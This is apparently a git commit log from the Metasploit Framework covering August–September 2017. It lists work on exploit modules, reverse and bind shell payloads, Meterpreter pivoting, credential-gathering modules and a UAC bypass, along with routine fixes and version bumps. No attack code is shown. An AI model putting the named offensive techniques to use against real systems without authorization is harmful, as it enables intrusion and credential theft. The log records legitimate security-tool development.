pull in GUID fixes from #8818
2017-09-07 01:39:49 -05:00
Brent Cook
9877a61eff
bump payloads
2017-09-07 01:36:25 -05:00
OJ
b38a962c09
Fix default session GUID when not specified
...
This resolves an issue with stategless HTTP sessions
2017-09-07 01:36:25 -05:00
OJ
7a2a47586b
Fix named pipe migration stubs
2017-09-07 01:36:25 -05:00
OJ
5294722b96
Prevent socket-like behaviours during migrate on pivoted sessions
2017-09-07 01:36:24 -05:00
OJ
dfba42e2c1
Fix exception when datastore value is nil in meterp session
2017-09-07 01:36:24 -05:00
OJ
4ec87985a2
Fix stager crash and support pivots in x64 meterp loader
2017-09-07 01:36:24 -05:00
OJ
c8b8ef03bd
Force max 0x10000 bytes when reading from pipe in stager
2017-09-07 01:36:23 -05:00
OJ
bfdea35aca
A few UI touch ups
2017-09-07 01:36:23 -05:00
OJ
75270af9e7
Tweaking of the pivot list output
2017-09-07 01:36:23 -05:00
OJ
8b8e5e4cb5
First iteration of the pivot menu for meterpreter
2017-09-07 01:36:23 -05:00
OJ
d525b015f0
Enable keepalive for pivoted sessions
2017-09-07 01:36:22 -05:00
OJ
558d007d8e
Final tweak to avoid issues in session dump
2017-09-07 01:36:22 -05:00
OJ
f004e6f0f2
Fix session output for pivoted sessions
2017-09-07 01:36:22 -05:00
OJ
7acd772c10
Pivot session stability, display and handling
2017-09-07 01:36:21 -05:00
OJ
fdc9864b61
First working packet pivot session!
2017-09-07 01:36:20 -05:00
OJ
e3de01219a
Pushed on with more pivot code
2017-09-07 01:33:54 -05:00
OJ
abc80655b7
Progress in named pipe pivots, more to come
2017-09-07 01:33:54 -05:00
OJ
816e78b6f6
First pass of named pipe code for pivots
2017-09-07 01:33:53 -05:00
Patrick Thomas
5d009c8d0b
remove dead code
2017-09-06 23:21:56 -07:00
Patrick Thomas
048316864c
remove redundant return
2017-09-06 23:01:13 -07:00
Patrick Thomas
97d08e0da4
fix reviewer comments
2017-09-06 22:53:02 -07:00
Patrick Thomas
637b83a0ea
add docs for nodejs debugger eval exploit
2017-09-06 22:29:46 -07:00
Patrick Thomas
d71f7876b8
initial commit of nodejs debugger eval exploit
2017-09-06 22:29:24 -07:00
William Vu
36bbe00ea1
Land #8922 , db_nmap tab completion fix
2017-09-07 00:28:03 -05:00
g0tmi1k
96f7012fe7
Code clean up (URLs, ordering and printing)
2017-09-06 13:17:28 +01:00
g0tmi1k
b884705a93
regsvr32_applocker_bypass_server -> web_delivery
2017-09-06 12:35:52 +01:00
g0tmi1k
e7b4cb71b1
Add PSH-Proxy to multi/script/web_delivery
2017-09-06 12:27:04 +01:00
yaya123456778908
bcec8c8eab
Update HACKING
2017-09-06 14:18:08 +03:00
Tim
bc02df16b3
update cmd_edit_help
2017-09-06 16:04:54 +08:00
Tim
e83e4d0a7e
add argument to cmd_edit
2017-09-06 11:30:28 +08:00
h00die
be66ed8af3
Land #8788 exploits for Gh0st and PlugX malware controllers
2017-09-05 20:42:07 -04:00
james
44fb059cea
Add error checking to mssql_clr_payload
...
Additional error checking had been added to exploits/windows/mssql/mssql_clr_payload
If an error is encountered when changing the trustworthy or clr setting, the exploit fails with a message.
2017-09-05 18:48:22 -05:00
Professor-plum
33e1777bab
Merge pull request #1 from h00die/updates
...
Modules cleanup and add docs
2017-09-05 13:48:09 -06:00
Adam Cammack
b0dc44fb86
Land #8909 , Avoid saving some invalid creds
2017-09-05 12:43:03 -05:00
Tim
636d1a5fcb
fix #8921 , fix crash on nmap tab completion
2017-09-05 16:36:14 +08:00
h00die
d05c401866
modules cleanup and add docs
2017-09-04 20:57:23 -04:00
james
fde68acc0e
Styling changes in wordpress helpers
...
Changes based on rubocop output
2017-09-02 22:26:04 -05:00
james
fdf7149438
Add support for multi-site wp instances in wp_admin_shell_upload
...
This change allows for redirects to be followed in wordpress_helper_get_plugin_upload_nonce
Redirect is from:
/wp-admin/plugin-install.php
to
/wp-admin/network/plugin-install.php
2017-09-02 22:12:56 -05:00
Pearce Barry
6051a1a1c1
Land #8910 , Use meta redirect instead of JS redirect in 2 modules
2017-09-01 13:50:02 -05:00
William Webb
055e88d261
Land #8897 , Rewrite timestomp command dispatcher to deal with arguments properly
2017-09-01 12:11:57 -05:00
Metasploit
92f5290a50
Bump version of framework to 4.16.5
2017-09-01 10:08:40 -07:00
Brent Cook
bcfab11ca9
land #8913 , fix false positives of telnet scanner vs http servers
2017-08-31 16:31:08 -05:00
Brent Cook
7c14a3d370
expand the check for weird HTTP / HTML serving servers
2017-08-31 16:30:02 -05:00
Tod Beardsley
86db2a5771
Land #8888 from @h00die, with two extra fixes
...
Fixes spelling and grammar in a bunch of modules. More to come!
2017-08-31 14:37:02 -05:00
Tod Beardsley
8a045e65aa
Spaces between commas
2017-08-31 14:29:23 -05:00
Tod Beardsley
642a13e820
Out out damn tick
2017-08-31 14:29:05 -05:00
Adam Cammack
3c1abe6437
Land #8904 , Add Meterpreter mid-stager for AArch64
2017-08-31 12:25:05 -05:00
Jin Qian
1a735c48b4
Fix MS2715, false positive when telneting against web server
...
Add a condition to identify when server returned HTML as login failure
2017-08-31 11:35:51 -05:00
Tim
86ee77ffb0
add aarch64 nops and fix aarch64 cmdstager
2017-08-31 18:48:58 +08:00
Adam Cammack
195c1e041f
Update payload specs and sizes
...
Adds the new Aarch64 and R payloads
fix merge
2017-08-31 18:48:56 +08:00
Tim
ffbf21cb1c
cleanup
2017-08-31 18:35:18 +08:00
Tim
7b71f60ea1
fix the stack
2017-08-31 18:35:18 +08:00
Tim
26f4fa3b09
setup stack
2017-08-31 18:35:17 +08:00
Tim
a2396991f0
stager not setting up stack
2017-08-31 18:35:17 +08:00
Tim
6dbe00158f
fix stager
2017-08-31 18:35:17 +08:00
james
49173818fd
Addresses #8674
...
This type of redirection will work without javascript being enabled.
Modules:
multi/browser/firefox_xpi_bootstrapped_addon
multi/browser/itms_overflow
More info on the meta element:
https://developer.mozilla.org/en-US/docs/Web/HTML/Element/meta
2017-08-30 23:16:46 -05:00
Pearce Barry
2bbba9c500
Avoid some ActiveRecord validation errors.
...
Per discussion with @bcoles in [PR 8759](https://github.com/rapid7/metasploit-framework/pull/8759#issuecomment-325028479 ), setting a login data's last_attempted_at value while also setting the status to UNTRIED will cause a validation error when there's a running+connected MSF DB.
This PR removes the handful of existing cases we're doing this (thx, @bcoles!).
2017-08-30 15:31:36 -05:00
Jon Hart
eec5d2ada9
Update description and add link to SIET
2017-08-30 11:52:11 -07:00
Calum Hutton
3b745bd17c
Rework the bash, redirect stdout/err to /dev/null
...
Dont need the -
2017-08-30 03:49:30 +01:00
Calum Hutton
9387a765e5
Fix msftidy warns/errs
2017-08-30 03:10:46 +01:00
Calum Hutton
52c8fff3cb
Make options a list
2017-08-30 03:10:46 +01:00
Calum Hutton
42ab00fd2c
Add documentation for module
2017-08-30 03:10:46 +01:00
Calum Hutton
4934023fa5
Use alternate system() payload, dont worry about restarts
...
Use nohup and & to background the meterpreter process
2017-08-30 03:10:46 +01:00
Calum Hutton
d53f10554d
Configurable restart command
2017-08-30 03:10:46 +01:00
Calum Hutton
d0ff2694b3
Restart after payload process ends
2017-08-30 03:10:46 +01:00
Calum Hutton
aee44e3bd2
Working meterpreter exploit
...
No service restart
2017-08-30 03:10:46 +01:00
Calum Hutton
7cfb5fcc97
Rename
2017-08-30 03:10:46 +01:00
Calum Hutton
8b67b710fa
Add template
2017-08-30 03:10:46 +01:00
Brent Cook
202c936868
Land #8826 , git submodule remote command execution
2017-08-29 18:11:32 -05:00
Brent Cook
8928197584
rename module docs so they are viewable
2017-08-29 18:09:30 -05:00
Brent Cook
46eeb1bee0
update style
2017-08-29 17:44:39 -05:00
Pearce Barry
d5124fdc94
Land #8759 , Add TeamTalk Gather Credentials auxiliary module
2017-08-29 13:17:28 -05:00
Tim
e1b38ac3a3
fix malicious typo
2017-08-29 17:52:51 +08:00
Tim
5631ddc246
add docs for the git submodule vulnerability
2017-08-29 17:06:30 +08:00
Tim
39299c0fb8
randomize submodule path
2017-08-29 16:54:08 +08:00
Brendan Coles
c9e32fbb18
Remove last_attempted_at
2017-08-29 05:05:04 +00:00
Brent Cook
fbb0f206fb
Land #8903 , bump network_interfaces, add Android support
2017-08-28 20:33:34 -05:00
Brent Cook
b0c1bfaeb7
bump network_interfaces, add Android support
...
see #8780
2017-08-28 20:08:06 -05:00
h00die
a40429158f
40% done
2017-08-28 20:17:58 -04:00
Brent Cook
847407f1dd
Land #8899 , Make backgrounding messages more consistent
2017-08-28 18:51:22 -05:00
William Vu
0e1bafb2d1
Land #8902 , vendored robots gem
2017-08-28 16:42:38 -05:00
Metasploit
a0131f450e
Bump version of framework to 4.16.4
2017-08-28 14:34:39 -07:00
Pearce Barry
cc33b29f0d
Land #8901 , update nessus v2 import for consistent proto case
2017-08-28 15:54:47 -05:00
Brent Cook
b2fc0e55de
remove the first of many robots.rb workarounds
2017-08-28 15:48:09 -05:00
Brent Cook
06fc5c8a3e
add license, fix style violations, log with dlog
2017-08-28 15:47:47 -05:00
Brent Cook
3d489a516c
Only test the first element of status
...
From f5df1ba7827581a7c771a3deffb6062551611134 Mon Sep 17 00:00:00 2001
From: Postmodern <postmodern.mod3@gmail.com >
Date: Thu, 4 Aug 2016 19:35:10 -0700
Subject: [PATCH 2/2] Only test the first element of status
* When using webmock, the `"OK"` String is not present in `StringIO#status`.
2017-08-28 15:47:47 -05:00
Brent Cook
dafd7885e1
Fixing mix case of user-agent.
...
From bfbe173cd6bf91be477ef0affc2c4c86ca75bc1d Mon Sep 17 00:00:00 2001
From: Jason Kim <jkim@avvo.com >
Date: Thu, 3 Nov 2011 15:43:14 -0700
Subject: [PATCH 1/2] Fixing mix case of user-agent. Adding/Fixing test.
2017-08-28 15:47:46 -05:00
Brent Cook
928d632042
import https://github.com/fizx/robots.git 0.10.1
2017-08-28 15:47:46 -05:00
Brent Cook
f7071818b1
more updates
2017-08-28 14:10:51 -05:00
Jeffrey Martin
368e37428e
update nessus v2 import for consistent proto case
2017-08-28 12:32:04 -05:00
Adam Cammack
d6ed1f6f8d
Make backgrounding messages more consistent
...
Inspired by the work in #8896
2017-08-28 11:19:17 -05:00
Brent Cook
3bdb572e01
Land #8898 , move Dockerfile for publishing
2017-08-28 10:51:52 -05:00
Christian Mehlmauer
4b272f309b
update rubygems
2017-08-28 17:14:46 +02:00
Christian Mehlmauer
3e5869e918
move Dockerfile to root
2017-08-28 16:57:28 +02:00
Brent Cook
8fdcc142c7
Land #8896 , Output job id when jobifying exploit
2017-08-28 09:10:09 -05:00
Brent Cook
a0e04760b5
rewrite timestomp command dispatcher to deal with file args properly
2017-08-28 08:25:42 -05:00
Marc Green
d50c7d7f5c
Output job id when jobifying exploit
2017-08-28 14:36:04 +02:00
Brent Cook
1e8edb377f
Land #8873 , cleanup enable_rdp, add error handling
2017-08-28 05:50:42 -05:00
Brent Cook
d23edf5cd1
Land #8895 , bump mettle, fix reverse_http/s shell command
2017-08-28 05:49:05 -05:00
Brent Cook
582b2e238e
update mettle payload to 0.2.2, add background and single-thread http comms
2017-08-28 05:31:44 -05:00
Brent Cook
15ec40f5c6
update R cached sizes
2017-08-28 05:31:42 -05:00
Brent Cook
b42a0759ce
add missing specs
2017-08-28 05:30:07 -05:00
Brent Cook
406cbd0985
Land #8893 , update meterpreter repo link
2017-08-27 21:31:34 -05:00
David Tomaschik
ef6c20ce51
Update README
...
Meterpreter repo now redirects to metasploit-payloads.
2017-08-27 10:26:35 -07:00
h00die
598151c194
Land #8892 docs format fixup
2017-08-26 21:06:34 -04:00
h00die
bd7ea1f90d
more updates, 465 more pages to go
2017-08-26 21:01:10 -04:00
james
5bf1d916bc
Fix uneven quotes in various documentation files
...
Uneven quotes lead to malformed markdown, which will not render as intended.
Even out the quotes in several files.
2017-08-26 19:12:48 -05:00
james
f785fe63ad
Grammar fix in buildmaster_login documentation
2017-08-26 18:35:13 -05:00
james
2e9d7cdf0a
Documentation formatting fix for buildmaster_login
2017-08-26 18:23:00 -05:00
james
7dfde651ea
Add login scanner module for Inedo BuildMaster
...
This module attempts to log into BuildMaster. BuildMaster is an application release automation tool.
More information about BuildMaster:
http://inedo.com/
2017-08-26 17:56:53 -05:00
Erik Lenoir
a8067070f2
Fix typo
2017-08-26 17:52:11 +02:00
William Vu
924c3de9f3
Land #7382 , BIND TSIG DoS
2017-08-26 10:42:35 -05:00
William Vu
f9a2c3406f
Clean up module
2017-08-26 10:41:10 -05:00
h00die
3420633f29
@NickTyrer corrected my correction
2017-08-26 08:43:10 -04:00
William Vu
b797e96a19
Remove nil check because blank? handles it
...
The check used to be session_name.strip.empty?, but I forgot to remove
the nil case when I converted to blank?.
2017-08-25 14:11:59 -05:00
Metasploit
779b25bdf6
Bump version of framework to 4.16.3
2017-08-25 10:02:45 -07:00
Erik Lenoir
682851ac59
Edit doc
2017-08-25 18:28:24 +02:00
Erik Lenoir
801e3e2d68
Replace REXML with Nokogiri and try to cross id with mirror/repository tag
2017-08-25 18:28:09 +02:00
Jon P
abaf80f3df
jmartin improvements (iter on keys + save as credentials)
2017-08-25 18:15:24 +02:00
William Vu
3c8e8ea176
Land #8889 , Pastebin creds for routers_userpass
2017-08-25 10:09:02 -05:00
Brent Cook
6fb0a06672
add pastebin IoT credentials
2017-08-25 08:57:20 -05:00
Brent Cook
d2e6af1845
sort|uniq
2017-08-25 08:54:49 -05:00
William Webb
093bc53f97
Land #8875 , Fix UDP scanner mixin with multicast addresses
2017-08-25 02:44:29 -05:00
h00die
8f05f7eeb6
add tool to dump descriptions
2017-08-24 21:41:46 -04:00
h00die
32a4436ecd
first round of spelling/grammar fixes
2017-08-24 21:38:44 -04:00
Adam Cammack
bd94a46c70
Land #8884 , Fix logic for on_session callbacks
2017-08-24 17:24:56 -05:00
William Vu
602a29ae55
Land #8885 , phpmailer_arg_injection redirect fix
2017-08-24 01:53:09 -05:00
n00py
8f17d536a7
Update phpmailer_arg_injection.rb
...
Removed second parameter as it was not necessary. Only changed needed was to change "send_request_cgi" to "send_request_cgi!"
2017-08-24 00:29:28 -06:00
Metasploit
2f72404b26
Bump version of framework to 4.16.2
2017-08-23 19:11:11 -07:00
n00py
c49b72a470
Follow 301 re-direct
...
I found that in some cases, the trigger URL cannot be accessed directly. For example, if the uploaded file was example.php, browsing to "example.php" would hit a 301 re-direct to "/example". It isn't until hitting "/example" that the php is executed. This small change will just allow the trigger to follow one 301 redirect.
2017-08-23 18:53:54 -06:00
h00die
899c2cc6fa
Land #8866 tcp scanner docs
2017-08-23 20:23:51 -04:00
h00die
a54ef94c79
style fixes
2017-08-23 20:20:31 -04:00
Brent Cook
821121d40b
Land #8871 , improve compatibility and speed of JDWP exploit
2017-08-23 18:53:47 -05:00
Brent Cook
d3775c3919
fix logic for calling on_session callbacks
2017-08-23 18:41:50 -05:00
Adam Cammack
eb5ec8cdd7
Land #8883 , Fixup R payload platform and metadata
2017-08-23 17:07:25 -05:00
Jeffrey Martin
cba4d36df2
provide missing bits for R platform
2017-08-23 16:58:48 -05:00
Metasploit
7c2fa20191
Bump version of framework to 4.16.1
2017-08-23 10:36:19 -07:00
William Webb
6edc0c8fd0
Land #8882 , Add ./ to cmd_use for paths and simplify cases
2017-08-23 10:42:04 -05:00
William Vu
100afaf251
Add ./ to cmd_use for paths and simplify cases
...
Don't accommodate typos.
2017-08-23 10:24:37 -05:00
Deepanshu Gajbhiye
0fac36c2af
Update tcp.md
2017-08-23 10:36:56 +05:30
Deepanshu Gajbhiye
99dfc9901c
Update tcp.md
...
Adding documentation for tcp module
2017-08-23 10:36:08 +05:30
Deepanshu Gajbhiye
d254da5150
Update tcp.md
2017-08-23 10:23:28 +05:30
Deepanshu Gajbhiye
6fb90640b9
Update tcp.md
2017-08-23 10:02:21 +05:30
William Vu
4c285c0129
Land #8827 , QNAP Transcode Server RCE
2017-08-22 23:07:01 -05:00
Brent Cook
41eba74ddf
prefer Addrinfo over ipaddress gem
2017-08-22 23:03:45 -05:00
h00die
a0585dcb9e
Land #8872 docs for octopusdeploy_deploy
2017-08-22 21:36:44 -04:00
Jon Hart
e4fc307ebb
Add docs
2017-08-22 15:12:02 -07:00
Jon Hart
7b18c17445
Appease rubocop
2017-08-22 14:53:21 -07:00
Brent Cook
128949217e
more osx
2017-08-22 16:48:09 -05:00
Jon Hart
2969da3d70
Merge branch 'upstream-master' into feature/cisco-smi-scanner
2017-08-22 14:39:44 -07:00
Brent Cook
bb120962aa
more osx support
2017-08-22 14:01:48 -05:00
Brent Cook
7263c7a66e
add 64-bit, osx support
2017-08-22 13:51:28 -05:00
Brent Cook
17aef43bb8
Fix UDP scanner mixin with multicast addresses
...
This fixes #8828 by only binding UDP sockets when we have unicast
targets. If we have multicast, prefer unbound sockets.
This also brings in the 'ipaddress' gem for identifying multicast
addresses. It looks like it could replace a lot of custom-built
functionality in rex-socket, including RangeWalker. Will need to see how
efficient it is.
2017-08-22 06:44:43 -05:00
Erik Lenoir
be2739d335
Transform loots into creds
2017-08-22 11:57:51 +02:00
Brent Cook
29c48f9d8d
cleanup accounts post API
2017-08-21 23:00:57 -05:00
Brent Cook
e3a9ddfc22
fix retry case for acquiring security descriptor
2017-08-21 22:52:53 -05:00
Brent Cook
33f2ebc2aa
code cleanup
2017-08-21 22:46:30 -05:00
Brent Cook
58e332cc7c
only fail if the group sids fail to resolve and we actually have to add a user
2017-08-21 22:36:40 -05:00
Brent Cook
0d17e94f54
handle unmapped sids consistently
2017-08-21 22:36:26 -05:00
james
7f8e6b83dc
Update documentation for exploit/windows/http/octopusdeploy_deploy
...
Remove self explanatory options.
2017-08-21 19:47:24 -05:00
james
60215297be
Update documentation for exploit/windows/http/octopusdeploy_deploy
...
Fix awkward wording.
2017-08-21 19:17:41 -05:00
james
de9392995a
Add documentation for exploit/windows/http/octopusdeploy_deploy
2017-08-21 19:11:36 -05:00
Louis Sato
e01caac9ed
removing slice operators from jdwp_debugger
2017-08-21 16:36:54 -05:00
Brent Cook
031f48725f
add missing quotes
2017-08-21 16:16:03 -05:00
Brent Cook
edbe8d73c2
Revert "Revert passive stance for multi/handler"
...
This reverts commit 66a4ea4f0b .
2017-08-21 16:14:23 -05:00
Brent Cook
c14daf3fcc
Land #8857 , Reverse and bind shells in R
2017-08-21 15:49:24 -05:00
Brent Cook
605330faf6
Land #8842 , add linux/aarch64/shell_reverse_tcp
2017-08-21 15:44:28 -05:00
Brent Cook
970a784066
Land #8869 , fix php create_function errors with non-suhosin environments
2017-08-21 15:40:24 -05:00
Brent Cook
430251b8f6
fix compatibility with php meterpreter
2017-08-21 15:37:31 -05:00
Brent Cook
d39fb1ca07
Land #8867 , Fix typo s/rport/port/ in build_brute_message
2017-08-21 15:28:14 -05:00
William Vu
8876919f38
Fix typo s/rport/port/ in build_brute_message
...
I missed this in #7202 .
2017-08-21 12:32:41 -05:00
Deepanshu Gajbhiye
8f4fcb5094
tcp.md
...
This module does a complete full tcp scan of each port on the target host. It does a full 3 way handshake on each port.
2017-08-21 13:09:12 -04:00
OJ
14b49bff06
Land #8863 - Fix packet parser and payload specs
2017-08-21 19:08:34 +10:00
Brent Cook
22e245ac99
call from_r before checking packet output
2017-08-21 03:44:13 -05:00
Brent Cook
429824b5c9
guid is hex values
2017-08-21 03:44:02 -05:00
Brent Cook
8700a36858
make session_guid default with the correct length
2017-08-21 03:24:37 -05:00
Brent Cook
2a1daa6ffc
prefer create_request, use StringIO over custom slice operators
2017-08-21 03:23:06 -05:00
RageLtMan
2873a899db
Address msftidy complaint
2017-08-21 03:39:03 -04:00
Tim
d6d6c67f33
add stage_shell.s and cleanup
2017-08-21 14:42:30 +08:00
Tim
ac6495a7eb
formatting
2017-08-21 12:35:13 +08:00
Tim
e1a7494724
linux payloads should default to /bin/sh
2017-08-21 12:25:27 +08:00
Tim
9768a89bcd
aarch64 staged shell
2017-08-21 11:14:42 +08:00
RageLtMan
7ab097a784
Unix cmd versions of R payloads
...
Use R to connect back from a unix shell.
Notes:
We need to DRY this up - tons of copy pasta here, when we should
really be instantiating the language specific payloads and just
wrapping them with CLI execution strings.
Testing:
None, yet, just did the quick port to wrap this and push to CI
now that rex-arch #4 is in.
2017-08-20 21:25:57 -04:00
Brent Cook
2660a5b558
add missing osx specs
2017-08-20 19:25:22 -05:00
Brent Cook
f961495860
Land #8625 , Remove OpenSSL from Windows Meterp, packet header changes, and TLV packet encryption
2017-08-20 19:13:51 -05:00
Brent Cook
851c0f4373
disable metasploit-aggregator while we sort out crypttlv updates
2017-08-20 19:05:10 -05:00
Brent Cook
b864083cbd
update payload sizes
2017-08-20 19:03:53 -05:00
Brent Cook
20b6f37fb8
bump payloads with crypttlv format awareness
2017-08-20 19:01:42 -05:00
Metasploit
ca7d481658
Bump version of framework to 4.16.0
2017-08-20 16:57:48 -07:00
Brent Cook
5e8c2200ac
Merge branch 'master' into land-8625-crypttlv2
2017-08-20 18:54:51 -05:00
Brent Cook
eabe4001c2
Land #8492 , Add IBM OpenAdmin Tool SOAP welcomeServer PHP Code Execution module
2017-08-20 18:48:22 -05:00
Brent Cook
cbd7790e95
Land #8751 , Add Asterisk Gather Credentials auxiliary module
2017-08-20 18:34:27 -05:00
Brent Cook
07ee33578d
Land 8804, tidy up mdaemon credential extraction module
2017-08-20 18:26:56 -05:00
Brent Cook
85df247c84
DRY up module, fix remaining style violations
2017-08-20 18:24:41 -05:00
Brent Cook
367c760927
window move is now directly in the template
2017-08-20 17:48:59 -05:00
Brent Cook
e734a7923a
Land #8267 , Handle multiple entries in PSModulePath
2017-08-20 17:44:30 -05:00
Brent Cook
d5a5321a8c
Merge remote-tracking branch 'upstream/pr/8299' into land-8267-
2017-08-20 17:43:56 -05:00
Brent Cook
1225555125
remove unnecessary require
2017-08-20 17:37:42 -05:00
Brent Cook
840c0d5f56
Land #7808 , add exploit for VMware VDP with known ssh private key (CVE-2016-7456)
2017-08-20 17:36:45 -05:00
Brent Cook
88f39d924b
Land #8816 , added Jenkins v2 cookie support
2017-08-20 14:58:38 -05:00
Brent Cook
f7dc831e9a
Land #8799 , Add module to detect Docker, LXC, and systemd-nspawn containers
2017-08-20 14:45:57 -05:00
Brent Cook
aa797588e8
Land #8847 , Look for sp_execute_external_script in mssql_enum
2017-08-20 14:32:35 -05:00
Brent Cook
2eba188166
Land #8789 , Add COM class ID hijack method for bypassing UAC
2017-08-20 13:57:17 -05:00
Brent Cook
9f3dbba17a
Land #8854 , fix scheduleme meterpreter script
2017-08-20 13:54:41 -05:00
Brent Cook
05011930b1
Land #8861 , link updates
2017-08-20 13:34:41 -05:00
Brent Cook
b9b779da9e
update references to sourceforge ML
2017-08-20 13:23:54 -05:00
Brent Cook
6afd90b7f0
Land #8848 , fix extra sleep on linux x86 stager
2017-08-19 22:12:19 -05:00
Brent Cook
e8ab518d76
Land #8853 , Revert passive stance for multi/handler
2017-08-19 22:04:26 -05:00
RageLtMan
0145fc3972
payload/r.rb and UUID update
2017-08-19 06:43:28 -04:00
RageLtMan
d76616e8e8
Reverse and bind shells in R
...
Initial implementation of bind and reverse TCP shells in R.
Supports IPv4 and 6, provides stateless sessions which wont change
the cwd when cd is invoked since each command invocation actually
spawns a pipe to execute that specific line's invocation.
R injections are common in academic software written in a hurry by
students or lab administrators. The language runtimes are also
commonly found adjacent to valuable data, and often used by teams
which are not directly responsible for information security.
Testing:
Local testing with netcat bind and rev handlers.
TODO:
Add the appropriate platform/language library definitions
2017-08-19 06:12:05 -04:00
Franci Šacer
46852e8ab0
Update scheduleme.rb
...
Fixed a bug introduced in commit #aa03db1f5c4a694d258879ccdf0dcaaf7f576355
2017-08-18 22:27:26 +02:00
William Webb
6ecdb8f2cc
Land #8852 , convert quest_pmmasterd_bof to cmd_interact/find
2017-08-18 13:20:17 -05:00
William Vu
66a4ea4f0b
Revert passive stance for multi/handler
...
It's gotten to be a bit annoying. ExitOnSession=false was good, but this
was too much. Typing run -j isn't difficult.
2017-08-18 13:16:12 -05:00
Erik Lenoir
cde319a5ec
Optim module and add doc
2017-08-18 19:30:41 +02:00
Metasploit
95824ce132
Bump version of framework to 4.15.8
2017-08-18 10:03:23 -07:00
Erik Lenoir
b529c3551c
Remove unused variable
2017-08-18 19:00:32 +02:00
William Vu
98ba6719e9
Land #8851 s/unknow/unknown/ig
2017-08-18 10:38:50 -05:00
William Webb
a40c7457f9
Land #8843 , Update documentation in connect.md
2017-08-18 10:35:37 -05:00
h00die
dc358dd087
unknow to unknown
2017-08-18 11:33:48 -04:00
tkmru
74f89857d8
fix extra sleep on linux x86 stager
2017-08-18 15:20:35 +09:00
William Vu
d659cdc8f6
Convert quest_pmmasterd_bof to cmd_interact/find
2017-08-18 00:19:09 -05:00
OJ
9aba360f2b
Land #8846 - Fix Youtube URLs
2017-08-18 10:47:42 +10:00
Brent Cook
ea5370486f
minor unused variable fixes
2017-08-17 16:46:51 -04:00
Brent Cook
9c196041ce
update youtube urls in post exploit module
2017-08-17 16:44:35 -04:00
Jay Turla
b0a4634b24
Update connect.md
...
Adding the command in installing gem "serialport".
2017-08-17 18:55:44 +08:00
Tim
8b4ccc66c7
add linux/aarch64/shell_reverse_tcp
2017-08-17 18:55:37 +08:00
Brendan Coles
3fcd248d3a
Add documentation
2017-08-17 09:51:09 +00:00
William Vu
5e0223fce0
Land #8841 , tools/exploit/metasm_shell.rb fix
2017-08-17 02:48:52 -05:00
Brent Cook
33e134418a
rename decode methods as well, keep this working for ruby X.X
2017-08-17 03:27:12 -04:00
Brent Cook
7a1a5d2658
don't override standard string 'encode' methods
2017-08-17 03:20:45 -04:00
Tim
f6caa23e31
Land #8840 , fix silly docs error
2017-08-17 15:16:24 +08:00
William Vu
2bca33cf4a
Land #8837 , typo fix for Linux hashdump
2017-08-17 02:13:20 -05:00
Tim
648dca7bdb
fix silly documentation mistake
2017-08-17 14:43:58 +08:00
james
e642789674
Look for sp_execute_external_script in mssql_enum
...
sp_execute_external_script can be used to execute code in MSSQL.
MSSQL 2016+ can be configured to execute R code. MSSQL 2017 can
be configured to execute Python code.
Documentation:
https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql
https://docs.microsoft.com/en-us/sql/advanced-analytics/tutorials/rtsql-using-r-code-in-transact-sql-quickstart
Interesting uses of sp_execute_external_script:
R - https://pastebin.com/zBDnzELT
Python - https://gist.github.com/james-otten/63389189ee73376268c5eb676946ada5
2017-08-16 21:40:03 -05:00
james
1c44092ba9
Add module documentation for post/linux/gather/checkcontainer
2017-08-16 21:15:56 -05:00
William Vu
5b7785438f
Add session naming support to CommandDispatcher
2017-08-16 18:18:49 -05:00
William Vu
6eae3b3d4e
Add session name output to ReadableText
2017-08-16 18:14:56 -05:00
Richard Claus
f07318c976
Fix post/linux/gather/hashdump NoMethodError
2017-08-16 00:56:32 -07:00
OJ
408a83a36b
Added comhijack module documentation
2017-08-16 13:05:27 +10:00
OJ
fa292dce96
Fix issue with truncated values when unpacking packets
2017-08-16 11:01:54 +10:00
Erik Lenoir
6ac8ed490b
Add documentation file
2017-08-15 16:56:20 +02:00
Brent Cook
70a82b5c67
Land #8834 , add resiliency to x64 linux reverse_tcp stagers
2017-08-15 08:04:32 -04:00
Brent Cook
df98c2a3dd
update cached sizes again
2017-08-15 08:02:51 -04:00
Brent Cook
debbc31142
use separate module names for x86 and x64 generators
2017-08-15 08:02:01 -04:00
tkmru
4dbf94556e
update CacheSize
2017-08-15 12:54:30 +09:00
tkmru
db2e3f2ddd
add retry to linux reverse tcp x64
2017-08-15 12:49:29 +09:00
Brendan Coles
60f7534969
Add documentation
2017-08-15 03:43:22 +00:00
Brendan Coles
ac976eee8e
Add author
2017-08-15 03:27:40 +00:00
Brent Cook
e3265c4b1b
Land #8697 , fix oracle_hashdump and jtr_oracle_fast modules
2017-08-14 17:36:18 -04:00
Brent Cook
69c4ae99a7
Land #8811 , fix peer printing with bruteforce modules
2017-08-14 17:31:48 -04:00
Erik Lenoir
b4055a8071
Rename command
2017-08-14 23:26:18 +02:00
Erik Lenoir
55db70ec3e
Handle case when locate is not here by using enum_directories_map
2017-08-14 23:25:01 +02:00
William Vu
1a4db844c0
Refactor build_brute_message for legacy printing
2017-08-14 11:17:34 -05:00
Brent Cook
b8f56d14e0
Land #8698 , Add HEADERS to php_eval module
2017-08-14 09:54:22 -04:00
Erik Lenoir
27822c2ccf
Add Maven creds module
2017-08-14 14:59:59 +02:00
Brent Cook
9fdf2ca1f4
Land #8830 , Cleanup auxiliary/scanner/msf/msf_rpc_login
2017-08-14 02:47:08 -04:00
Brendan Coles
fa4fae3436
Cleanup auxiliary/scanner/msf/msf_rpc_login
2017-08-14 06:34:04 +00:00
Brent Cook
59086af261
Land #8771 , rewrite linux x64 stagers with Metasm
2017-08-14 02:32:29 -04:00
Brent Cook
0ab6dd46d3
Land #8762 , add initial Rex FTP protocol implementation
2017-08-14 01:59:53 -04:00
Brent Cook
26193216d1
Land #8686 , add 'download' and simplified URI request methods to http client mixin
...
Updated PDF author metadata downloader to support the new methods.
2017-08-14 01:40:17 -04:00
Brent Cook
7d4561e0fd
rename to download_log to avoid conflicting with the mixin
2017-08-14 01:10:37 -04:00
Brent Cook
5d05ca154a
added http client 'download' method and updates to pdf author module from @bcoles
2017-08-14 01:08:53 -04:00
Brent Cook
f27d41db83
disable redundant return warning, update a couple others
2017-08-13 23:51:52 -04:00
Brent Cook
e36f5602cb
Land #8815 , update bundler before installing gems
2017-08-13 09:32:54 -04:00
Brent Cook
68f569d8f5
Land #8809 , Add documentation for OSX meterpreter
2017-08-13 09:31:28 -04:00
Brendan Coles
0a374b1a88
Add QNAP Transcode Server Command Execution exploit module
2017-08-13 09:13:56 +00:00
Patrick Thomas
25764397ba
Update CachedSizes for changed nodejs payloads
...
